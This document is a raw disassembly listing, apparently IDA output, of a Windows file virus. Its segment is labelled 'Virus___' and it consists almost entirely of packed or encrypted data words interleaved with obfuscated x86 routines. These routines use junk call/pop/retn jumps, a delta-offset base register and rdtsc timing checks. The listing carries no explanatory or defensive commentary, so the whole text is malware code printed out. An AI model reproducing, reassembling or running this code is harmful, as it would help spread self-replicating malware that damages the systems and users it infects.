		dd 3973858Dh, 0D0FF095Dh, 40A98589h, 85C6095Dh,	95D3335h
		dd 0BA416856h, 4818A01h, 0A6FE1124h, 0F1B5FF12h, 8D095D08h
		dd 5D397385h, 89D0FF09h, 5D40AD85h, 68046A09h, 9B5F1424h
		dd 0DC240481h, 8B64A0FBh, 5D40B985h, 1F40509h, 0E0C10000h
		dd 90509002h, 95FF006Ah, 95D40ADh, 40B18589h, 0D88B095Dh
		dd 0FFFFFFB8h, 7595FFFFh, 8B095D14h, 7595FFC3h,	0E9095D14h
		dd 84h,	40B5BD83h, 0F00095Dh, 185h, 8B57C300h, 5D40B1BDh
		dd 8583AB09h, 95D40B1h,	83C35F04h, 5D40B5BDh, 850F0009h
		dd 1, 0AD8360C3h, 95D40B1h, 0B19D8B04h,	83095D40h, 0FFFFC7Bh
		dd 1D85h, 0BE5C6800h, 3481126Fh, 6F3E5C24h, 0FF006A12h
		dd 0A995FF33h, 61095D40h, 1DE9C3h, 24680000h, 813428D5h
		dd 55242434h, 6A3428h, 95FF33FFh, 95D40A9h, 40B1AD83h
		dd 0E904095Dh, 0FFFFFFB1h, 1ADE948h, 8B600000h,	8B242474h
		dd 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h, 585h
		dd 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h,	5, 1246168Ah
		dd 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h
		dd 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h
		dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h
		dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h
		dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh,	2000000h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C913h,	5850Fh
		dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh,	830F0000h
		dd 22h,	5003Dh,	0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h
		dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h
		dd 17h,	8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h
		dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h,	929h, 9D3E9h
		dd 0DDBBC600h, 0DA3DDA1Ah, 38F04C30h, 37E87A05h, 81ADF302h
		dd 0D11AD99Ch, 6BF3412Ah, 0BAC727D7h, 0DD9D9B83h, 0D67FD117h
		dd 6AE75E38h, 30FA6B56h, 0EEE6FC47h, 0DB10A9FFh, 67F25C3Eh
		dd 0B8C72785h, 0DD9E9485h, 0C97FCB17h, 6AF84425h, 2BE47748h
		dd 85E8E850h, 0CC5C9D9Ch, 2AE35C3Ah, 0AD8926D7h, 0DD888085h
		dd 0C830CD0Eh, 64F84A25h, 63h dup(0)
		dd 0DDBBC600h, 0C631D013h, 6AE74423h, 23E66055h, 0C4A5F050h
		dd 9E0F989Ah, 25F24A3Dh, 0A1C63485h, 8FDA9184h,	0C631D10Bh
		dd 23B54C39h, 2BF0324Bh, 97E8E357h, 0DB088A8Bh,	469D0132h
		dd 0B5CC3EF5h, 0DDD69099h, 0C033D10Bh, 23B54F36h, 36EF3251h
		dd 89E8FC4Dh, 0CC139497h, 25F60F26h, 0B1DB72C1h, 8F9B8199h
		dd 0C0269F0Ah, 3AB55922h, 36EE7D57h, 0E6FC43h, 48h dup(0)
		dd 0DDBBC600h, 0CC3ECD1Dh, 6DE74E3Ch, 2BFD3256h, 8CE8FD4Dh
		dd 0DC5C8A93h, 6BF94A3Ah, 0BADC3DC3h, 8888D58Eh, 0C136D110h
		dd 24FC0B30h, 31E66B05h, 9DBBB150h, 0D3198D81h,	1B9A2571h
		dd 0A7C837C9h, 88DAD98Fh, 0CE30D310h, 3EFC0B33h, 2BFB7405h
		dd 81A5B14Fh, 0C70E969Fh, 2FF94E7Fh, 0A7CC2085h, 8988949Eh
		dd 0DA30C65Eh, 38E50B25h, 25FB754Ah, 0BF4Fh, 61h dup(0)
		dd 94BCC600h, 0CC7FDA12h, 3FE75938h, 20EC6655h,	0B0E8BF03h
		dd 9E0F909Ah, 2CF85D2Fh, 0F4C433D7h, 0DD899482h, 0C13ADA1Ch
		dd 24F44677h, 28FC624Ch, 80ADE543h, 0DA1298D2h,	32F6427Fh
		dd 0D9A337C7h, 8EDD8183h, 0C931D65Eh, 2FE14832h, 3DEB3241h
		dd 0B2E8F002h, 0CD098B9Bh, 6BE5407Fh, 0B7C820C6h, 0D39E9081h
		dd 0C637EB5Eh, 23F30B24h, 33A97749h, 90EFFF4Dh,	0CC138ED2h
		dd 25F60F34h, 0A6C63FDCh, 0DB8Fh, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5726C8
; ---------------------------------------------------------------------------
		add	bx, 0BF43h
		cld
		mov	edx, [ebp+95D1101h]
		mov	eax, eax
		push	0
		push	eax
		call	sub_56F8D6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56F8D6	proc near		; CODE XREF: Virus___:0056F8CEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_56F8D6	endp

; ---------------------------------------------------------------------------
		fimul	word ptr [esp+eax]
		cmp	dword ptr [ebp+95D1809h], 0
		jnz	short loc_56F8FB
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_56F90E


loc_56F8FB:				; CODE XREF: Virus___:0056F8F0j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+95FA903h]
		call	ebx
		pop	ebx
		pop	eax


loc_56F90E:				; CODE XREF: Virus___:0056F8F9j
		cmp	dword ptr [ebp+95D0329h], 0
		jz	short loc_56F928
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+95FA7B4h]
		call	ebx
		pop	ebx
		pop	eax


loc_56F928:				; CODE XREF: Virus___:0056F915j
		push	0
		push	eax
		call	sub_56F933
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56F933	proc near		; CODE XREF: Virus___:0056F92Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_56F933	endp

; ---------------------------------------------------------------------------
		db 0F1h
		dd 5E8C4h, 0FFC90000h, 52E25B53h, 5A5ADA8Ah, 21EDBD09h
		dd 0C08B095Dh, 0BD19D8Bh, 0BD83095Dh, 95D14D9h,	0E8840F00h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0EB73C356h, 0BB36B68Ah, 0F179C8D8h
		dd 5A14B356h, 2671BD83h, 0F00095Dh, 1B284h, 0D5850100h
		dd 1095D19h, 5D1AB99Dh,	0BA666009h, 858B1361h, 95D2671h
		dd 5433F281h, 0E8051207h, 0F000003h, 5090D0B7h,	6A90D38Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 6A95C351h, 4D6F858Dh, 6A095Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 94B863C3h
		dd 23F5958Bh, 0BA50095Dh, 5D798BB5h, 81240489h,	0F259E4DAh
		dd 4D858D5Ah, 89095D4Dh, 5D27AD8Dh, 52509009h, 310F5A56h
		dd 5AD18B66h, 60505058h, 0E8F18B66h, 8,	7BF963DBh, 9598FBCh
		dd 905A6159h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 16h,	0BEC35747h, 95FF88F9h, 95D111Dh, 2F3D958Bh, 0C483095Dh
		dd 53006A0Ch, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0DDBDCA5Bh, 4EF80CD2h, 858D1C9Ch, 95D4D4Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 5CC35545h
		dd 6628CA9Ch, 9531D68Bh, 95D1801h, 19958B50h, 5A095D0Bh
		dd 830F5790h, 0
; ---------------------------------------------------------------------------
		pop	edx
		push	eax
		jmp	loc_56FAFB
; ---------------------------------------------------------------------------
		db 3
		dd 60590414h, 7D683938h, 5AA7E88Ah
		db 0FCh, 0C7h, 33h
; ---------------------------------------------------------------------------


loc_56FAFB:				; CODE XREF: Virus___:0056FAE6j
		nop
		push	0
		push	edx
		call	sub_56FB07
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56FB07	proc near		; CODE XREF: Virus___:0056FAFFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_56FB07	endp

; ---------------------------------------------------------------------------
		mov	ebp, 2DF8C154h
		cmp	edi, [eax]
		dec	edx
		db	2Eh
		xchg	eax, edx
		push	2
		mov	bh, al
		call	dword ptr [ebp+6AED14h]
		sub	ebx, 197B9EACh
		popa
		push	0
		push	ebx
		call	sub_56FB3D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56FB3D	proc near		; CODE XREF: Virus___:0056FB35p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_56FB3D	endp

; ---------------------------------------------------------------------------
		db 0Fh,	59h, 89h
		dd 1AA508BEh, 0C7388B5Bh, 5D4D8085h, 109h, 799D8B00h, 80095D22h
		dd 5096BEE6h, 959FBB52h, 310F0463h, 585ADE8Bh, 9660B350h
		dd 89D6B70Fh, 5D4D31B5h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 9D010F44h, 95D05E9h, 971BD83h
		dd 0F01095Dh, 5185h, 91952B00h,	83095D28h, 850F05F8h, 42h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0D8C35040h
		dd 6AC1D60Bh, 38E0Fh, 8B660000h, 0B8DEh, 8E80000h, 0F9000000h
		dd 9C808EBh, 89BEF60Dh,	5D29F9B5h, 0BD835A09h, 95D1681h
		dd 55840F00h, 8B000000h, 5D22999Dh, 9D096009h, 95D07CDh
		dd 168195FFh, 6A095Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 6629EAC3h, 0E58E381h, 6A613BB2h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0C275C353h, 615BD83h, 0F00095Dh, 1084h, 80FD8A00h
		dd 0B8DAF6h, 29000000h,	5D13E5BDh, 0B5896009h, 95D1151h
		dd 2215858Bh, 0B589095Dh, 95D14D5h, 2902C083h, 5D2F1D8Dh
		dd 29858909h, 6A095D4Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 7371C357h, 5DBD4A51h
		dd 0C6953F81h, 0FD8AFF00h, 333585C6h, 6A53095Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8BA3C357h, 5D16E195h, 0DD126809h, 53529D67h,	5B5A5B53h
		dd 0CA243481h, 6A61D695h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 8DBBC352h, 15B5FFFCh
		dd 6A095D08h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 77F1C356h, 1BD292Fh, 8D095D11h
		dd 60761385h, 6D958B09h, 0FF095D08h, 56006AD0h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0EE2DBDDAh
		dd 0F281AF79h, 6DBEF30Fh, 11B18589h, 6A095Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 25D009C3h
		dd 0F8C6D20h, 835D0978h, 5D0865BDh, 850F0109h, 129h, 23AEE0BBh
		dd 319D8941h, 61095D15h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 50C35343h, 890B4BA4h,	5D16118Dh, 3585C609h
		dd 45095D33h, 35958Bh, 9D29095Dh, 95D1A0Dh, 4E8h, 6038C200h
		dd 0A820FDAh, 0F000000h, 48Fh, 7EBB6600h, 14E95004h, 0E4000000h
		dd 0E1163113h, 935437DFh, 0AA59DEF7h, 39BC6D50h, 8B2185E4h
		dd 52042444h, 4E0CBA66h, 0BB008B5Bh, 47C38F8Bh,	4244489h
		dd 9E8h, 0E0F31C00h, 0A8EA7025h, 9E939AFh, 0EF000000h
		dd 0E05416AAh, 47F2DA7Ch, 10E9585Ah, 0E6000000h, 3A6BB97Ah
		dd 197E4175h, 5004EDB1h, 0FFB5EA67h, 5D0815B5h,	0B5B58909h
		dd 8D095D0Bh, 60761385h, 0F8D4BA09h, 0D0FF5BBEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 87C35646h, 8B7C7577h
		dd 5D12BD9Dh, 81006A09h, 0F44549F2h, 0D0FFF860h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A7C35141h, 8B6602FCh
		dd 0EDBD83DAh, 1095D03h, 0EA850Fh, 0BA660000h, 858BEA18h
		dd 95D2215h, 9E9h, 0D366D000h, 0E53CF2E1h, 9EE93B2Eh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0A31BC357h, 0DE909D6h, 2B000000h,	46F64562h
		dd 8FE7F49Dh, 8D4503DAh, 2820F90h, 0B3000000h, 0BA665004h
		dd 6A90C30Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 9D37C357h, 2FE106FBh, 0C281668Bh
		dd 146AF196h, 11159D0Bh, 95FF095Dh, 95D11B1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 38C35747h, 9964971Ch
		dd 5849B799h, 0E3A830BAh, 388061h, 0FF8A850Fh, 0C6F9FFFFh
		dd 6A0100h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 19D6F3C3h, 0E86C1DD9h, 51006A61h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 9068D610h
		dd 14E950A3h, 37000000h, 0B92A2124h, 462D05BBh,	608184DAh
		dd 0F88672D0h, 5B29E138h, 1075BD83h, 0F00095Dh,	6284h
		dd 28B0F00h, 8B000000h,	6AFF6AD9h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FFCDC356h
		dd 0B94945B7h, 0FF99E6D8h, 5D11B195h, 52006A09h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0B2E973B7h, 8BFFFFFFh, 5D1EA995h, 5D8D8909h,	0C7095D18h
		dd 5D107585h, 109h, 0AD858900h,	66095D26h, 89E8B6BAh, 5D4D3585h
		dd 51006A09h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 552200E0h, 66C90A0Dh, 4CA5DA81h,	10E95090h
		dd 28000000h, 0AE7B23A4h, 0F6BFAEA0h, 0E040D678h, 90D165A8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9DC35646h
		dd 0E810F95h, 0E8000000h, 6, 514EC711h,	0B3B6E7DFh, 0A1BD295Ah
		dd 60095D33h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	9FC35141h, 1110EFBAh, 81132D00h, 2A687BEBh, 60056A32h
		dd 1D699589h, 860F095Dh, 6, 2ADBD8Bh, 8D61095Dh, 5D4D4D85h
		dd 90DE8B09h, 12E851h, 707B0000h, 4B6BB8E0h, 0B52BD1C0h
		dd 749EF1B1h, 7011E0DFh, 0E8505B5Bh, 0Eh, 2FBF9D53h, 68286FF9h
		dd 0EE888882h, 0F576E2Eh, 8Fh, 905B5A00h, 358D01h, 858D095Dh
		dd 95D4D3Dh, 665051B6h,	89D353BAh, 7E82404h, 42000000h
		dd 45BBF923h, 0F88AABB5h, 8D95FF5Bh, 89095D29h,	5D2F4585h
		dd 278D8D09h, 6A095D7Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 3D1AC357h, 353495DBh
		dd 5A01B253h, 1174C00Bh, 4D4D858Dh, 0FF50095Dh,	6B8589D1h
		dd 0EB095D4Dh, 6B85C70Ah, 0FF095D4Dh, 0B7FFFFFFh, 6A61D7h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0D34110C3h, 294605CAh, 5D029D85h, 3585C609h,	4D095D33h
		dd 5880Fh, 81660000h, 687A07C3h, 6DC0C12Bh, 9E8h, 0F77D100h
		dd 0A4CB30BDh, 14E86FA4h, 5F000000h, 33005787h,	0B1C53559h
		dd 0B03E0E1h, 652E2753h, 669642C7h, 5B5BDA8Bh, 7D240481h
		dd 893674B5h, 5D07E995h, 9D9D0B09h, 0FF095D1Eh,	5D3075B5h
		dd 89F1B309h, 5D1EE1BDh, 13858D09h, 8B096076h, 5D06F195h
		dd 0BAD0FF09h, 6F980E02h, 215DBD29h, 8589095Dh,	95D1659h
		dd 4840Fh, 0F8600000h, 85C661F8h, 95D3335h, 9D958B45h
		dd 0E8095D1Eh, 4, 8E726969h, 2860Fh, 0D8B60000h, 8BDA8B50h
		dd 0BB042444h, 9AA355h,	0D68B008Bh, 4244489h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0E9601B50h, 5, 0A1895216h, 15B5FF67h, 8B095D08h, 13858DD6h
		dd 66096076h, 0D0FFD78Bh, 0BECBC381h, 85893DEEh, 95D02BDh
		dd 2EE99D89h, 0D28B095Dh
		dd 1D258501h, 8C66095Dh, 0F1958BD9h, 0F6095D06h, 840F04C1h
		dd 275h, 29799531h, 31E9095Dh, 89000001h, 5D265D9Dh, 0C5B58B09h
		dd 0E9095D24h, 0Bh, 0F8ABE0F9h,	0F8DDF3E7h, 8156AED9h
		dd 1180C6h, 0AE800h, 0C0270000h, 0BC489E9Dh, 0BF6CBA4Ah
		dd 10199503h, 0F5B095Dh, 0BD83D0BFh, 95D0315h, 9850F00h
		dd 0B6000000h, 0D6E9FCh, 0D78B0000h, 0F003E83h,	0CB84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 6C23877Bh, 81F4B376h, 4359C7E2h,	6A6003h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 7D0A39C3h, 0B22DB9E4h, 8B5707A8h, 5D25E59Dh,	146A5A09h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 97C35646h
		dd 860FAC5Ch, 0
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+95D11B1h]
		add	[ebp+95D22ADh],	edi
		popa
		push	0
		push	ecx
		call	sub_570460
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_570460	proc near		; CODE XREF: Virus___:00570458p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_570460	endp

; ---------------------------------------------------------------------------
		dd 52C57CE1h, 9AB96B56h, 15958Bh, 0E9F9095Dh, 0FFFFFF40h
		dd 0BA99D01h, 9E9095Dh,	0D2000000h, 6A36571Dh, 1C12136Fh
		dd 106C7h, 9D890000h, 95D0FF1h,	4D35BD83h, 0F05095Dh, 12C85h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 797D1197h, 0FDBAAE5Ch, 8B205095h, 5D02BDB5h
		dd 0DF8B6609h, 64B9h, 0DD9D8900h, 80095D02h, 840FE83Eh
		dd 4Bh,	68B0Fh,	0BD890000h, 95D04D1h, 0FE8h, 0AB104900h
		dd 0F9AE72C8h, 0D21F5C18h, 81BEE0C6h, 23319D8Bh, 0E95A095Dh
		dd 55h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h
		dd 0EC35343h, 805A5672h, 0FC2057Eh, 8D84h, 13E800h, 69CC0000h
		dd 8DD8E6h, 8546AE49h, 0B04D103Bh, 0CEBA1C6Dh, 0EE9BDh
		dd 80AF0000h, 0D15F096Ah, 0ADC59948h, 0C32B5778h, 6A465Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0C9091CC3h, 9D09B8E6h, 95D1D15h, 49DABF0Fh, 0FF45850Fh
		dd 32E9FFFFh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 5AD6C355h, 0DA445605h
		dd 7D85892Ah, 66095D2Bh, 0B589DF8Bh, 95D1F11h, 958958F8h
		dd 95D2095h, 1EB5BD83h,	0F00095Dh, 12884h, 0D2816600h
		dd 6A605D18h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0FEFAC353h, 81E3AFD2h,	5BBE0FEAh
		dd 3585C651h, 54095D33h, 619B589h, 7768095Dh, 60DCC008h
		dd 5E95250h, 0B0000000h, 2F9E1AA6h, 860F310Fh, 0
		dd 6060585Ah, 0F525061h, 61585A31h, 24348161h, 238EB683h
		dd 0FFD0B70Fh, 5D0815B5h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 667AE338h
		dd 8E8D88Bh, 63000000h,	3154EDC1h, 81663711h, 62EEBECAh
		dd 858D5B58h, 9607613h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0A6C35242h, 0E9D0FFF1h, 7, 0EF43FD19h
		dd 0F838803h, 68Dh, 31950300h, 6A095D1Bh, 11958B00h, 0FF095D06h
		dd 5D1EB5B5h, 9958B09h,	0FF095D31h, 6860FD0h, 8B000000h
		dd 5D20219Dh, 6A6109h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 219A1C3h, 0B388CD41h, 6985C7E9h
		dd 1095D31h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 968CC356h, 6A60A4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0CD950AC3h, 8BC24894h, 5D0BA995h, 4E809h, 800000h, 0E8600000h
		dd 13h,	0B4A38119h, 0E95736BAh,	0B0593499h, 53AC1D99h
		dd 666FB4F6h, 5058DA8Bh, 50506158h, 28BB6652h, 0E9310FF2h
		dd 14h,	406E003Ch, 0EAC15688h, 0ED08F60Fh, 74DBD695h, 0B6057ADAh
		dd 448B585Ah, 50510424h, 0F525052h, 0F585A31h, 5A616031h
		dd 8B5B58h, 89DE8B66h, 0BA042444h, 6905BB77h, 55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 376E81CAh, 8B662A1Dh, 0F8FF6AD8h, 48C0Fh, 0BA660000h
		dd 95FFF0DEh, 95D0769h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 9CC35545h, 0CA8166FFh, 6A612EFDh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0B725C350h, 507FB2FCh, 0E1468CBAh, 24048915h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 89C35141h, 0AD2567A1h
		dd 0A8BACB58h, 8B62F5F2h, 5D09BD85h, 50006A09h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 29DE8730h
		dd 0DB93B838h, 0C18B6660h, 66B2B560h, 616FC2BEh, 919D8B61h
		dd 0B095D27h, 0E840FC0h, 8A000000h, 4995FFFEh, 8B095D29h
		dd 5D05199Dh, 8585C709h, 1095D2Ah, 31000000h, 5D234585h
		dd 0A1BD8309h, 95D1Ah, 38840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 5D9A96C3h
		dd 19958B51h, 5A095D2Fh, 0EFD9D29h, 95FF095Dh, 95D1A95h
		dd 1491958Bh, 0BD83095Dh, 95D1225h, 10840F00h, 89000000h
		dd 5D1305B5h, 8995FF09h, 66095D30h, 838C0EBAh, 5D27B5BDh
		dd 840F0009h, 2Eh, 2A81B589h, 0BD83095Dh, 95D10BDh, 1B850F00h
		dd 0F000000h, 282h, 0FFDE8B00h,	5D227595h, 81666009h, 0F7E46F6h
		dd 81h,	0BD836100h, 95D1495h, 47840F00h, 0E9000000h, 9
		dd 56757118h, 9719FC34h, 0AD85817Bh, 3095D10h, 1000040h
		dd 5D2139B5h, 952B5709h, 95D2F7Dh, 1185815Ah, 3095D13h
		dd 0E8000040h, 0Dh, 7927340Fh, 0F1C57586h, 8C385D4Ah, 0F5AF868h
		dd 310FDAB7h, 5E6D8D8Dh, 6A095Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 39173EC3h, 0E86223FDh
		dd 12h,	0F195C641h, 20E6C1BAh, 0CC2D5BA4h, 5F86976h, 0BF0F278Ch
		dd 1895BD0h, 850F1FB3h,	3, 33D68B66h, 51006AC2h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0F2E02A5Eh, 45BB6625h, 4852BB35h, 4189458Ch,	0BD852904h
		dd 0F095D13h, 0F3816631h, 8D8DAA88h, 95D5E85h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 5CC35545h, 6820Fh
		dd 958B0000h, 95D2235h,	31958D09h, 189095Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B1C35343h, 8166B134h
		dd 8AB530F3h, 8BC233F1h, 44189DEh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0F5C35343h,	0BBEFFE41h, 0C36DB15h
		dd 0DE9h, 6FEC600h, 7C3611CEh, 3F71ED0h, 9D8B2C50h, 95D10CDh
		dd 1785BD83h, 0F00095Dh, 4284h,	38D0F00h, 80000000h, 95FFC4F6h
		dd 95D1719h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	9AC35747h, 60BDBF3Bh, 0CE95A7Ch, 93000000h, 38FA16E8h
		dd 0EB316E73h, 83A00700h, 5D0531BDh, 850F0109h,	63h, 0C880Fh
		dd 7E90000h, 2000000h, 8BD844BCh, 4CE987A7h, 8B000000h
		dd 5D0C4D9Dh, 3EB58B09h, 0C7095D60h, 6,	0B5B58B00h, 0C7095D5Dh
		dd 6, 0F78ACF00h, 6AD98B66h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0B572C357h,	0ED54F972h
		dd 783B6D29h, 83D9B70Fh, 5D2A85BDh, 840F0009h, 1ADh, 2111BD83h
		dd 0F01095Dh, 19085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 90E8BD77h, 0FF20C723h
		dd 1CF99D89h, 8D8B095Dh, 95D4D29h, 5F99D8Bh, 11E9095Dh
		dd 0B0000000h, 207BCDB2h, 909CE2E3h, 6C58B897h,	234A3755h
		dd 0E90001C6h, 0Fh, 5AE966B6h, 0CD03222Eh, 78AB6022h, 60C460B5h
		dd 0FE9h, 2EC2A100h, 30C15CDAh,	0A281B6EFh, 3B28D89Bh
		dd 4E8h, 8000h,	10E800h, 3CD10000h, 58D95A72h, 0D648B57h
		dd 588DA0A3h, 0A7B350ABh, 5052505Ah, 8B310F52h,	5A585AD7h
		dd 424448Bh, 12E9h, 0B934B900h,	0E19036DDh, 0AA3B0711h
		dd 0A00CBAEAh, 8B1AEE9Ch, 89C3B300h, 66042444h,	6A58D78Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0FB4CC350h, 92CF2037h, 6AF08A4Fh,	56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 45531115h, 0BF0FEADDh, 6995FFD8h, 6A095D07h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8BAAC352h, 13E9DEh, 0B8A0000h, 44262098h, 12DCE2Ah
		dd 0E0AD7D5Dh, 5533BCDFh, 5EE8BBD4h, 96135B0h, 5D06C5B5h
